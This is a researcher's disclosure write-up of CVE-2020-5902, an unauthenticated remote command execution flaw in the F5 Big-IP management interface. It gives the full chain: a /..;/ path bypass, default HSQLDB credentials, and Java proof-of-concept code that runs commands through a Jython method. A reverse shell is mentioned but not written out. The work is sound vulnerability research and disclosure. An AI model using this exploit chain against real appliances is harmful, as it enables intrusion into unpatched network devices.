Remote Code Execution in F5 Big IP

big

This is Big-IP, an application delivery and security services platform by F5 Networks, namely its Traffic Management User Interface (TMUI). In this article I will show how I’ve managed to discover CVE-2020-5902, an Unauthenticated Remote Command Execution vulnerability, in its web interface.

The CVE-2020-5902 vulnerability has been assigned a CVSS score of 10, the highest possible. According to the Threat Intelligence Services of Positive Technologies, before the fixes there were more than 8,000 devices available on the Internet and vulnerable to this issue.

Discovering Web Server Misconfigurations

Let’s deploy a Big-IP appliance on our virtual machine, and get access to its command line interface:

image5

The cmdline interface for the F5 Big-IP appliance

The first thing to do when starting any research on any appliance is to examine all of the open ports and the applications, which are listening on them. This provides a way to discover all of the possible entry points to the system. An excellent command for that purpose is netstat:

netstat

Discovering open ports on the appliance

I like to analyze web applications, so let’s examine the configuration files of the Apache HTTP Server, which is listening on port 443/tcp.

The most controversial part of Apache configuration is its /etc/httpd/conf.d/proxy_ajp.conf file:

LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
 #
 When loaded, the mod_proxy_ajp module adds support for
 proxying to an AJP/1.3 backend server (such as Tomcat).
 To proxy to an AJP backend, use the "ajp://" URI scheme;
 Tomcat is configured to listen on port 8009 for AJP requests
 by default.
 #
 #
 Uncomment the following lines to serve the ROOT webapp
 under the /tomcat/ location, and the jsp-examples webapp
 under the /examples/ location.
 #
 ProxyPass /tomcat/ ajp://localhost:8009/
 ProxyPass /examples/ ajp://localhost:8009/jsp-examples/
 ProxyPassMatch ^/tmui/(..jsp.)$ ajp://localhost:8009/tmui/$1 retry=5
 ProxyPassMatch ^/tmui/Control/(.)$ ajp://localhost:8009/tmui/Control/$1 retry=5 ProxyPassMatch ^/tmui/deal/?(.)$ ajp://localhost:8009/tmui/deal/$1 retry=5
 ProxyPassMatch ^/tmui/graph/(.)$ ajp://localhost:8009/tmui/graph/$1 retry=5 ProxyPassMatch ^/tmui/service/(.)$ ajp://localhost:8009/tmui/service/$1 retry=5
 ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
 ProxyPassMatch ^/lunaui/(..jsf.)$ ajp://localhost:8009/lunaui/$1 ProxyPassMatch ^/lunaui/primefaces_resource/(.)$ ajp://localhost:8009/lunaui/primefaces_resource/$1 ProxyPassMatch ^/lunaui/em_resource/(.)$ ajp://localhost:8009/lunaui/em_resource/$1 
 ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5 

It configures the main Apache server to pass some requests to the Apache Tomcat server on the local 8009/tcp port via the AJP protocol, if request URLs match one of the specified regexps.

pltn

Discovering the application listening on port 8009/tcp

When you see two or more servers chained together, such as an Apache HTTP Server and an Apache Tomcat as in our case, definitely take a look at the research “Breaking Parser Logic” by Orange Tsai, where he shows how to make chained servers handle URLs in different ways.

In the case of an Apache HTTP Server and an Apache Tomcat the research suggests to test the /..;/ sequence of symbols:

tomcat

A slide from Orange Tsai’s presentation

According to the research, the Apache HTTP Server will parse /..;/ sequence as a valid folder name, but Apache Tomcat will interpret it as a valid relative path to go up one directory.

To check if this technique works, let’s obtain a path to one of the hidden Tomcat endpoints in its TMUI configuration file /usr/local/www/tmui/WEB-INF/web.xml:

<servlet-mapping>
        <servlet-name>org.apache.jsp.tiles.tmui.em_005ffilter_jsp</servlet-name>
        <url-pattern>/tiles/tmui/em_filter.jsp</url-pattern>
 </servlet-mapping>

The path /tiles/tmui/em_filter.jsp should not be matched by regexps in the proxy_ajp.conf file, so let’s test it:

burpsute

Testing Orange Tsai’s technique

An ordinary request has returned code 404 not found, but the request that used Orange Tsai’s technique has returned code 200 ok.

So now we are able to bypass the authorization on the Apache HTTP Server and get access to any endpoint of the Apache Tomcat server on the appliance.

Discovering Vulnerable Tomcat Endpoints

Let’s examine the configuration of the Apache Tomcat web server, and try to find some vulnerable endpoints in it.

Earlier we have used the path /tiles/tmui/em_filter.jsp, but now we need to find something more powerful in the TMUI web.xml:

…
    <servlet>
        <servlet-name>hsqldb</servlet-name>
        <servlet-class>org.hsqldb.Servlet</servlet-class>
        <load-on-startup>3</load-on-startup>
    </servlet>
…
    <servlet-mapping>
        <servlet-name>hsqldb</servlet-name>
        <url-pattern>/hsqldb/*</url-pattern>
    </servlet-mapping>
…

The path /hsqldb/ caught my attention. The abbreviation HSQLDB stands for Hyper SQL Database, and since this path is handled by its org.hsqldb.Servlet class, it’s responsible for providing access to the database itself.

Let’s check that we can use our technique to access this path:

burpsuite2

Testing the authorization bypass technique to access the HSQLDB endpoint

So, we were able to access the HSQLDB on the appliance without any authentication.

On the official HSQLDB website there is a guide about connecting to the database via HTTP, and it makes use of a special Java driver module, which requests a username and a password to make the connection.

Let’s use a tried and true technique called “Google Search” to find the default usernames and passwords for the HSQLDB:

image4

Obtaining the default credentials for the HSQLDB

And let’s develop a Proof-Of-Concept code in Java to test our assumption that the HSQLDB driver could work via the Apache HTTP Server using the authorization bypass in the URL and the default credentials are used:

package com.company;
 import java.sql.; import java.lang.;
 public class Main {
     public static void main(String[] args) throws Exception {
         Class.forName("org.hsqldb.jdbcDriver");
         Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
         Statement stmt = null;
         ResultSet result = null;
         stmt = c.createStatement();
         result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
         while (result.next()) {
             System.out.println("Got result: " + result.getString(1));
         }
         result.close();
         stmt.close();
     }
 }

The execution of this Java code

The code returned the first username from the SYSTEM_USERS table, which means we are able to execute arbitrary SQL queries without any authentication against any F5 Big-IP appliances.

Exploring Internals of HSQLDB

I’ve spent a bit of time going over the official HSQLDB documentation, and I’ve found a page about the CALL statement, which can execute stored procedures, including any Java static methods in the HSQLDB classpath.

Let’s get a classpath from the HSQLDB:

Request: CALL "java.lang.System.getProperty"('java.class.path')
Response: /usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli.jar:/usr/local/www/tmui/WEB-INF/classes

This is the same classpath that the Apache Tomcat web server has.

So, let’s find a static method that will allow us to get an RCE. After searching for a while, I’ve discovered the com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext method in /usr/local/www/tmui/WEB-INF/classes/tmui.jar:

public static void setRequestContext(String object, String screen)
 {
      PyObject current = getInterpreter().eval(object + "__" + screen + "()");
      currentObject.set(current);
 }

Let’s try to call this method with some random data:

Request: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"('aa','bb')
Response: NameError: aa__bb

We can see that we’re in the Python context, and we have sent the wrong data.

Let’s try to import the os module and call it’s system function:

Request: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"('__import__("os").system("id")#', '#')
Response: ImportError: no module named javaos

With the help of a Google search I’ve discovered that it is the behaviour of Jython, and not Python as we had originally thought.

Let’s try to execute Jython code instead of Python:

Request: CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"('Runtime.getRuntime().exec("id")#','#')
Response: null

The HSQLDB driver has returned a null value, which means the id command has been executed.

So, let’s construct a final Proof-Of-Concept code which will send a dns request if the server is vulnerable:

package com.company;
 import java.sql.; import java.lang.;
 public class Main {
     public static void main(String[] args) throws Exception {
         Class.forName("org.hsqldb.jdbcDriver");
         Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
         Statement stmt = null;
         ResultSet result = null;
         stmt = c.createStatement();
         result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext\"('Runtime.getRuntime().exec(\"nslookup test.dns.samplehost.com\")#','#')");
         while (result.next()) {
             System.out.println("Got result: " + result.getString(1));
         }
         result.close();
         stmt.close();
     }
 }

And after adding one of the reverse shell commands for bash to this code we can obtain RCE on our F5 Big-IP appliance:

ncat

Obtaining access to our F5 Big-IP appliance via the discovered vulnerability chain

Conclusion

We were able to get Remote Command Execution on the F5 Big-IP appliance via the next three easy steps:

  1. Discovering a misconfiguration of the Apache HTTP Server and Apache Tomcat
  2. Discovering the use of default credentials for HSQLDB
  3. Discovering questionable static methods in the F5 Big-IP TMUI libraries

The timeline:

  • 1 April, 2020 — Reported to F5 Networks
  • 3 April, 2020 — Vulnerability reproduced by F5
  • 1 July , 2020 — Security Advisory and Fixes have been released

A link to F5 Security advisory: https://support.f5.com/csp/article/K52145254

Author

Mikhail Klyuchnikov
Web Application Security Expert
https://twitter.com/mn1